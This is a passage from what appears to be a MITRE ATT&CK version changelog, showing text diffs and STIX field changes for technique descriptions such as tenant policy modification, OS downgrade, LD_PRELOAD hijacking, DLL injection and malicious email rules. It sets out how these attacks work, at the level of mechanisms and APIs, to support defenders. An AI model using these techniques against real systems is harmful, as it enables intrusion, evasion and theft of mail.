| > | /techniques/T1207). * adding new, adversary-controlled feder | > | es/T1207). * adding new, adversary-controlled federated iden | ||
| > | ated identity providers to identity tenants, allowing advers | > | tity providers to identity tenants, allowing adversaries to | ||
| > | aries to authenticate as any user managed by the victim tena | > | authenticate as any user managed by the victim tenant(Citati | ||
| > | nt (Citation: Okta Cross-Tenant Impersonation 2023) Adversa | > | on: Okta Cross-Tenant Impersonation 2023) Adversaries may t | ||
| > | ries may temporarily modify domain or tenant policy, carry o | > | emporarily modify domain or tenant policy, carry out a malic | ||
| > | ut a malicious action(s), and then revert the change to remo | > | ious action(s), and then revert the change to remove suspici | ||
| > | ve suspicious indicators. | > | ous indicators. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.723000+00:00 | 2026-11-04 00:11:54.291000+00:00 |
| description | Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation. Modifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants. With sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include: * modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) * modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) * changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207). * adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023) Adversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators. | Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation. Modifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trust relationships between domains or tenants. With sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential malicious outcomes that can stem from this abuse. Examples of such abuse include: * modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) * modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) * changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207). * adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant(Citation: Okta Cross-Tenant Impersonation 2023) Adversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators. |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may install an older version of the operating sy | t | 1 | Adversaries may install an older version of the operating sy |
| > | stem of a network device to weaken security. Older operatin | > | stem of a network device to weaken security. Older operatin | ||
| > | g system versions on network devices often have weaker encry | > | g system versions on network devices often have weaker encry | ||
| > | ption ciphers and, in general, fewer/less updated defensive | > | ption ciphers and, in general, fewer/less updated defensive | ||
| > | features. (Citation: Cisco Synful Knock Evolution) On embed | > | features.(Citation: Cisco Synful Knock Evolution) On embedd | ||
| > | ded devices, downgrading the version typically only requires | > | ed devices, downgrading the version typically only requires | ||
| > | replacing the operating system file in storage. With most | > | replacing the operating system file in storage. With most e | ||
| > | embedded devices, this can be achieved by downloading a copy | > | mbedded devices, this can be achieved by downloading a copy | ||
| > | of the desired version of the operating system file and rec | > | of the desired version of the operating system file and reco | ||
| > | onfiguring the device to boot from that file on next system | > | nfiguring the device to boot from that file on next system r | ||
| > | restart. The adversary could then restart the device to imp | > | estart. The adversary could then restart the device to impl | ||
| > | lement the change immediately or they could wait until the n | > | ement the change immediately or they could wait until the ne | ||
| > | ext time the system restarts. Downgrading the system image | > | xt time the system restarts. Downgrading the system image t | ||
| > | to an older versions may allow an adversary to evade defense | > | o an older version may allow an adversary to evade defenses | ||
| > | s by enabling behaviors such as [Weaken Encryption](https:// | > | by enabling behaviors such as [Weaken Encryption](https://at | ||
| > | attack.mitre.org/techniques/T1600). Downgrading of a system | > | tack.mitre.org/techniques/T1600). Downgrading of a system i | ||
| > | image can be done on its own, or it can be used in conjunct | > | mage can be done on its own, or it can be used in conjunctio | ||
| > | ion with [Patch System Image](https://attack.mitre.org/techn | > | n with [Patch System Image](https://attack.mitre.org/techniq | ||
| > | iques/T1601/001). | > | ues/T1601/001). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.726000+00:00 | 2026-11-04 01:10:45.743000+00:00 |
| description | Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution) On embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts. Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). | Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features.(Citation: Cisco Synful Knock Evolution) On embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts. Downgrading the system image to an older version may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking environment variables the dynamic linker uses to load | > | cking environment variables the dynamic linker uses to load | ||
| > | shared libraries. During the execution preparation phase of | > | shared libraries. During the execution preparation phase of | ||
| > | a program, the dynamic linker loads specified absolute paths | > | a program, the dynamic linker loads specified absolute paths | ||
| > | of shared libraries from various environment variables and | > | of shared libraries from various environment variables and | ||
| > | files, such as <code>LD_PRELOAD</code> on Linux or <code>DYL | > | files, such as <code>LD_PRELOAD</code> on Linux or <code>DYL | ||
| > | D_INSERT_LIBRARIES</code> on macOS.(Citation: TheEvilBit DYL | > | D_INSERT_LIBRARIES</code> on macOS.(Citation: TheEvilBit DYL | ||
| > | D_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(C | > | D_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(C | ||
| > | itation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Li | > | itation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Li | ||
| > | braries specified in environment variables are loaded first, | > | braries specified in environment variables are loaded first, | ||
| > | taking precedence over system libraries with the same funct | > | taking precedence over system libraries with the same funct | ||
| > | ion name.(Citation: Man LD.SO)(Citation: TLDP Shared Librari | > | ion name.(Citation: Man LD.SO)(Citation: TLDP Shared Librari | ||
| > | es)(Citation: Apple Doco Archive Dynamic Libraries) Each pla | > | es)(Citation: Apple Doco Archive Dynamic Libraries) Each pla | ||
| > | tform's linker uses an extensive list of environment variabl | > | tform's linker uses an extensive list of environment variabl | ||
| > | es at different points in execution. These variables are oft | > | es at different points in execution. These variables are oft | ||
| > | en used by developers to debug binaries without needing to r | > | en used by developers to debug binaries without needing to r | ||
| > | ecompile, deconflict mapped symbols, and implement custom fu | > | ecompile, deconflict mapped symbols, and implement custom fu | ||
| > | nctions in the original library.(Citation: Baeldung LD_PRELO | > | nctions in the original library.(Citation: Baeldung LD_PRELO | ||
| > | AD) Hijacking dynamic linker variables may grant access to | > | AD) Hijacking dynamic linker variables may grant access to | ||
| > | the victim process's memory, system/network resources, and p | > | the victim process's memory, system/network resources, and p | ||
| > | ossibly elevated privileges. On Linux, adversaries may set < | > | ossibly elevated privileges. On Linux, adversaries may set < | ||
| > | code>LD_PRELOAD</code> to point to malicious libraries that | > | code>LD_PRELOAD</code> to point to malicious libraries that | ||
| > | match the name of legitimate libraries which are requested b | > | match the name of legitimate libraries which are requested b | ||
| > | y a victim program, causing the operating system to load the | > | y a victim program, causing the operating system to load the | ||
| > | adversary's malicious code upon execution of the victim pro | > | adversary's malicious code upon execution of the victim pro | ||
| > | gram. For example, adversaries have used `LD_PRELOAD` to inj | > | gram. For example, adversaries have used `LD_PRELOAD` to inj | ||
| > | ect a malicious library into every descendant process of the | > | ect a malicious library into every descendant process of the | ||
| > | `sshd` daemon, resulting in execution under a legitimate pr | > | `sshd` daemon, resulting in execution under a legitimate pr | ||
| > | ocess. When the executing sub-process calls the `execve` fun | > | ocess. When the executing sub-process calls the `execve` fun | ||
| > | ction, for example, the malicious library’s `execve` functio | > | ction, for example, the malicious library’s `execve` functio | ||
| > | n is executed rather than the system function `execve` conta | > | n is executed rather than the system function `execve` conta | ||
| > | ined in the system library on disk. This allows adversaries | > | ined in the system library on disk. This allows adversaries | ||
| > | to [Hide Artifacts](https://attack.mitre.org/techniques/T156 | > | to [Hide Artifacts](https://attack.mitre.org/techniques/T156 | ||
| > | 4) from detection, as hooking system functions such as `exec | > | 4) from detection, as hooking system functions such as `exec | ||
| > | ve` and `readdir` enables malware to scrub its own artifacts | > | ve` and `readdir` enables malware to scrub its own artifacts | ||
| > | from the results of commands such as `ls`, `ldd`, `iptables | > | from the results of commands such as `ls`, `ldd`, `iptables | ||
| > | `, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Int | > | `, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Int | ||
| > | ezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit | > | ezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit | ||
| > | 2024) Hijacking dynamic linker variables may grant access t | > | 2024) | ||
| > | o the victim process's memory, system/network resources, and | ||||
| > | possibly elevated privileges. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.636000+00:00 | 2026-11-03 23:28:07.108000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)
Hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library’s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)
Hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. | Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)
Hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library’s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject dynamic-link libraries (DLLs) into pr | t | 1 | Adversaries may inject dynamic-link libraries (DLLs) into pr |
| > | ocesses in order to evade process-based defenses as well as | > | ocesses in order to evade process-based defenses as well as | ||
| > | possibly elevate privileges. DLL injection is a method of ex | > | possibly elevate privileges. DLL injection is a method of ex | ||
| > | ecuting arbitrary code in the address space of a separate li | > | ecuting arbitrary code in the address space of a separate li | ||
| > | ve process. DLL injection is commonly performed by writin | > | ve process. DLL injection is commonly performed by writin | ||
| > | g the path to a DLL in the virtual address space of the targ | > | g the path to a DLL in the virtual address space of the targ | ||
| > | et process before loading the DLL by invoking a new thread. | > | et process before loading the DLL by invoking a new thread. | ||
| > | The write can be performed with native Windows API calls suc | > | The write can be performed with native Windows API calls suc | ||
| > | h as <code>VirtualAllocEx</code> and <code>WriteProcessMemor | > | h as <code>VirtualAllocEx</code> and <code>WriteProcessMemor | ||
| > | y</code>, then invoked with <code>CreateRemoteThread</code> | > | y</code>, then invoked with <code>CreateRemoteThread</code> | ||
| > | (which calls the <code>LoadLibrary</code> API responsible fo | > | (which calls the <code>LoadLibrary</code> API responsible fo | ||
| > | r loading the DLL). (Citation: Elastic Process Injection Jul | > | r loading the DLL).(Citation: Elastic Process Injection July | ||
| > | y 2017) Variations of this method such as reflective DLL i | > | 2017) Variations of this method such as reflective DLL in | ||
| > | njection (writing a self-mapping DLL into a process) and mem | > | jection (writing a self-mapping DLL into a process) and memo | ||
| > | ory module (map DLL when writing into process) overcome the | > | ry module (map DLL when writing into a process) overcome the | ||
| > | address relocation issue as well as the additional APIs to i | > | address relocation issue as well as the additional APIs to | ||
| > | nvoke execution (since these methods load and execute the fi | > | invoke execution (since these methods load and execute the f | ||
| > | les in memory by manually preforming the function of <code>L | > | iles in memory by manually performing the function of <code> | ||
| > | oadLibrary</code>).(Citation: Elastic HuntingNMemory June 20 | > | LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2 | ||
| > | 17)(Citation: Elastic Process Injection July 2017) Another | > | 017)(Citation: Elastic Process Injection July 2017) Anothe | ||
| > | variation of this method, often referred to as Module Stomp | > | r variation of this method, often referred to as Module Stom | ||
| > | ing/Overloading or DLL Hollowing, may be leveraged to concea | > | ping/Overloading or DLL Hollowing, may be leveraged to conce | ||
| > | l injected code within a process. This method involves loadi | > | al injected code within a process. This method involves load | ||
| > | ng a legitimate DLL into a remote process then manually over | > | ing a legitimate DLL into a remote process then manually ove | ||
| > | writing the module's <code>AddressOfEntryPoint</code> before | > | rwriting the module's <code>AddressOfEntryPoint</code> befor | ||
| > | starting a new thread in the target process.(Citation: Modu | > | e starting a new thread in the target process.(Citation: Mod | ||
| > | le Stomping for Shellcode Injection) This variation allows a | > | ule Stomping for Shellcode Injection) This variation allows | ||
| > | ttackers to hide malicious injected code by potentially back | > | attackers to hide malicious injected code by potentially bac | ||
| > | ing its execution with a legitimate DLL file on disk.(Citati | > | king its execution with a legitimate DLL file on disk.(Citat | ||
| > | on: Hiding Malicious Code with Module Stomping) Running co | > | ion: Hiding Malicious Code with Module Stomping) Running c | ||
| > | de in the context of another process may allow access to the | > | ode in the context of another process may allow access to th | ||
| > | process's memory, system/network resources, and possibly el | > | e process's memory, system/network resources, and possibly e | ||
| > | evated privileges. Execution via DLL injection may also evad | > | levated privileges. Execution via DLL injection may also eva | ||
| > | e detection from security products since the execution is ma | > | de detection from security products since the execution is m | ||
| > | sked under a legitimate process. | > | asked under a legitimate process. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.724000+00:00 | 2026-11-04 00:16:43.999000+00:00 |
| description | Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.
DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017)
Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)
Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.
DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL).(Citation: Elastic Process Injection July 2017)
Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into a process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually performing the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)
Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. |
Current version: 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may setup email forwarding rules to collect sens | t | 1 | Adversaries may set up email forwarding rules to collect sen |
| > | itive information. Adversaries may abuse email forwarding ru | > | sitive information. Adversaries may abuse email forwarding r | ||
| > | les to monitor the activities of a victim, steal information | > | ules to monitor the activities of a victim, steal informatio | ||
| > | , and further gain intelligence on the victim or the victim’ | > | n, and further gain intelligence on the victim or the victim | ||
| > | s organization to use as part of further exploits or operati | > | ’s organization to use as part of further exploits or operat | ||
| > | ons.(Citation: US-CERT TA18-068A 2018) Furthermore, email fo | > | ions.(Citation: US-CERT TA18-068A 2018) Furthermore, email f | ||
| > | rwarding rules can allow adversaries to maintain persistent | > | orwarding rules can allow adversaries to maintain persistent | ||
| > | access to victim's emails even after compromised credentials | > | access to victim's emails even after compromised credential | ||
| > | are reset by administrators.(Citation: Pfammatter - Hidden | > | s are reset by administrators.(Citation: Pfammatter - Hidden | ||
| > | Inbox Rules) Most email clients allow users to create inbox | > | Inbox Rules) Most email clients allow users to create inbox | ||
| > | rules for various email functions, including forwarding to a | > | rules for various email functions, including forwarding to | ||
| > | different recipient. These rules may be created through a l | > | a different recipient. These rules may be created through a | ||
| > | ocal email application, a web interface, or by command-line | > | local email application, a web interface, or by command-line | ||
| > | interface. Messages can be forwarded to internal or external | > | interface. Messages can be forwarded to internal or externa | ||
| > | recipients, and there are no restrictions limiting the exte | > | l recipients, and there are no restrictions limiting the ext | ||
| > | nt of this rule. Administrators may also create forwarding r | > | ent of this rule. Administrators may also create forwarding | ||
| > | ules for user accounts with the same considerations and outc | > | rules for user accounts with the same considerations and out | ||
| > | omes.(Citation: Microsoft Tim McMichael Exchange Mail Forwar | > | comes.(Citation: Microsoft Tim McMichael Exchange Mail Forwa | ||
| > | ding 2)(Citation: Mac Forwarding Rules) Any user or adminis | > | rding 2)(Citation: Mac Forwarding Rules) Any user or admini | ||
| > | trator within the organization (or adversary with valid cred | > | strator within the organization (or adversary with valid cre | ||
| > | entials) can create rules to automatically forward all recei | > | dentials) can create rules to automatically forward all rece | ||
| > | ved messages to another recipient, forward emails to differe | > | ived messages to another recipient, forward emails to differ | ||
| > | nt locations based on the sender, and more. Adversaries may | > | ent locations based on the sender, and more. Adversaries may | ||
| > | also hide the rule by making use of the Microsoft Messaging | > | also hide the rule by making use of the Microsoft Messaging | ||
| > | API (MAPI) to modify the rule properties, making it hidden a | > | API (MAPI) to modify the rule properties, making it hidden | ||
| > | nd not visible from Outlook, OWA or most Exchange Administra | > | and not visible from Outlook, OWA or most Exchange Administr | ||
| > | tion tools.(Citation: Pfammatter - Hidden Inbox Rules) In s | > | ation tools.(Citation: Pfammatter - Hidden Inbox Rules) In | ||
| > | ome environments, administrators may be able to enable email | > | some environments, administrators may be able to enable emai | ||
| > | forwarding rules that operate organization-wide rather than | > | l forwarding rules that operate organization-wide rather tha | ||
| > | on individual inboxes. For example, Microsoft Exchange supp | > | n on individual inboxes. For example, Microsoft Exchange sup | ||
| > | orts transport rules that evaluate all mail an organization | > | ports transport rules that evaluate all mail an organization | ||
| > | receives against user-specified conditions, then performs a | > | receives against user-specified conditions, then performs a | ||
| > | user-specified action on mail that adheres to those conditio | > | user-specified action on mail that adheres to those conditi | ||
| > | ns.(Citation: Microsoft Mail Flow Rules 2023) Adversaries th | > | ons.(Citation: Microsoft Mail Flow Rules 2023) Adversaries t | ||
| > | at abuse such features may be able to enable forwarding on a | > | hat abuse such features may be able to enable forwarding on | ||
| > | ll or specific mail an organization receives. | > | all or specific mail an organization receives. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:00.920000+00:00 | 2026-11-03 21:34:16.646000+00:00 |
| description | Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules) Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules) In some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. | Adversaries may set up email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules) Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules) In some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use email rules to hide inbound emails in a | t | 1 | Adversaries may use email rules to hide inbound emails in a |
| > | compromised user's mailbox. Many email clients allow users t | > | compromised user's mailbox. Many email clients allow users t | ||
| > | o create inbox rules for various email functions, including | > | o create inbox rules for various email functions, including | ||
| > | moving emails to other folders, marking emails as read, or d | > | moving emails to other folders, marking emails as read, or d | ||
| > | eleting emails. Rules may be created or modified within emai | > | eleting emails. Rules may be created or modified within emai | ||
| > | l clients or through external features such as the <code>New | > | l clients or through external features such as the <code>New | ||
| > | -InboxRule</code> or <code>Set-InboxRule</code> [PowerShell] | > | -InboxRule</code> or <code>Set-InboxRule</code> [PowerShell] | ||
| > | (https://attack.mitre.org/techniques/T1059/001) cmdlets on W | > | (https://attack.mitre.org/techniques/T1059/001) cmdlets on W | ||
| > | indows systems.(Citation: Microsoft Inbox Rules)(Citation: M | > | indows systems.(Citation: Microsoft Inbox Rules)(Citation: M | ||
| > | acOS Email Rules)(Citation: Microsoft New-InboxRule)(Citatio | > | acOS Email Rules)(Citation: Microsoft New-InboxRule)(Citatio | ||
| > | n: Microsoft Set-InboxRule) Adversaries may utilize email r | > | n: Microsoft Set-InboxRule) Adversaries may utilize email r | ||
| > | ules within a compromised user's mailbox to delete and/or mo | > | ules within a compromised user's mailbox to delete and/or mo | ||
| > | ve emails to less noticeable folders. Adversaries may do thi | > | ve emails to less noticeable folders. Adversaries may do thi | ||
| > | s to hide security alerts, C2 communication, or responses to | > | s to hide security alerts, C2 communication, or responses to | ||
| > | [Internal Spearphishing](https://attack.mitre.org/technique | > | [Internal Spearphishing](https://attack.mitre.org/technique | ||
| > | s/T1534) emails sent from the compromised account. Any user | > | s/T1534) emails sent from the compromised account. Any user | ||
| > | or administrator within the organization (or adversary with | > | or administrator within the organization (or adversary with | ||
| > | valid credentials) may be able to create rules to automatic | > | valid credentials) may be able to create rules to automatic | ||
| > | ally move or delete emails. These rules can be abused to imp | > | ally move or delete emails. These rules can be abused to imp | ||
| > | air/delay detection had the email content been immediately s | > | air/delay detection had the email content been immediately s | ||
| > | een by a user or defender. Malicious rules commonly filter o | > | een by a user or defender. Malicious rules commonly filter o | ||
| > | ut emails based on key words (such as <code>malware</code>, | > | ut emails based on key words (such as <code>malware</code>, | ||
| > | <code>suspicious</code>, <code>phish</code>, and <code>hack< | > | <code>suspicious</code>, <code>phish</code>, and <code>hack< | ||
| > | /code>) found in message bodies and subject lines. (Citation | > | /code>) found in message bodies and subject lines.(Citation: | ||
